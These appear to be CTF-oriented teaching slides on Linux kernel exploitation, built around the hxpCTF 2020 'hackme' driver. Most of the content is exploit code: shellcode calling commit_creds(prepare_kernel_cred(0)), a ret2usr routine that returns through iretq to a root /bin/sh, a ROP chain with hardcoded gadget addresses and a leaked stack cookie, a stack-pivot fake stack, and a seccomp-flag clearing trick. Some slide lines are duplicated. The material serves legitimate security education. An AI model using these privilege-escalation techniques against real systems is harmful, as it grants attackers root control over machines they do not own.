Kernel Hacking Part 1
.global _start
.intel_syntax noprefix
_start:
// fd = open("/flag", O_RDONLY);
lea rdi, [rip+flag]
mov rsi, 0
mov rax, 2
syscall
// bytes_read = read(fd, buf, 100);
mov rdi, rax
mov rsi, rsp
mov rdx, 100
mov rax, 0
syscall
// write(stdout, buf, bytes_flag);
mov rdi, 1
mov rsi, rsp
mov rdx, rax
mov rax, 1
syscall
// exit(42)
mov rax, 60
mov rdi, 42
syscall
flag:
.ascii "/flag\0"
commit_creds(prepare_kernel_creds(0))?
What about current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)
What do you think run_cmd("/path/to/command")
does?
commit_creds(prepare_kernel_creds(0))?
What about current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)
What do you think run_cmd("/path/to/command")
does?
commit_creds(prepare_kernel_creds(0))?
What about current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)
What do you think run_cmd("/path/to/command")
does?
} __randomize_layout;
What do you do instead?
Write a kernel module in C with the actions you want your shellcode to do.
Build it for the kernel you want to attack (e.g., using the vm build command in pwn.college).
Reverse-engineer it to see how these actions work in assembly.
Re-implement that assembly in your shellcode!
//From hxpCTF 2020
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
//...
int tmp[32];
//...
if ( _size > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
BUG();
}
_check_object_size(hackme_buf, _size, 0LL);
if ( copy_from_user(hackme_buf, data, v5) )
return -14LL;
_memcpy(tmp, hackme_buf);
//...
}
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
//...
int tmp[32];
//...
_memcpy(hackme_buf, tmp);
if ( _size > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
BUG();
}
_check_object_size(hackme_buf, _size, 1LL);
v6 = copy_to_user(data, hackme_buf, _size) == 0;
//...
}
// Assume this is part of a Linux Kernel Module
void leak_func()
{
void *someFunc = NULL;
someFunc = (void *)&prepare_kernel_cred;
printk(KERN_ALERT "prepare_kernel_cred = %p", someFunc);
someFunc = (void *)&commit_creds;
printk(KERN_ALERT "commit_creds = %p", someFunc);
}
movabs rax, <addr_to_prepare_kernel_cred>; //This will look something like 0xffffffff814c67f0
xor rdi, rdi; //Why do we want to do this
call rax;
mov rdi, rax;
movabs rax, <addr_to_commit_creds>;
call rax;
Keep in mind that this only makes the process root!
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
/* If you want to do this in pwntools, you need to save it somewhere that's not a variable */
void get_shell(void)
{
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
unsigned long user_rip = (unsigned long)get_shell;
void escalate_privs(void){
__asm__(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;" //Setting prepare_kernel_cred param to 0
"call rax;"
"mov rdi, rax;" //Store the return value as the first parameter for commit_cred
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;" //Now we are resetting user state.
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
// Source: https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
unsigned long user_rip = (unsigned long)get_shell;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x0; // rdi <- 0
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = swapgs_pop1_ret; // swapgs
payload[off++] = 0x0; // dummy rbp
payload[off++] = iretq; // iretq frame
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
mov esp, <addr>;
//some additional instructions potentially
ret;
void build_fake_stack(void){
fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off = 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to prevent fault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
... // the rest of the chain is the same as the last payload
}
// Source - https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/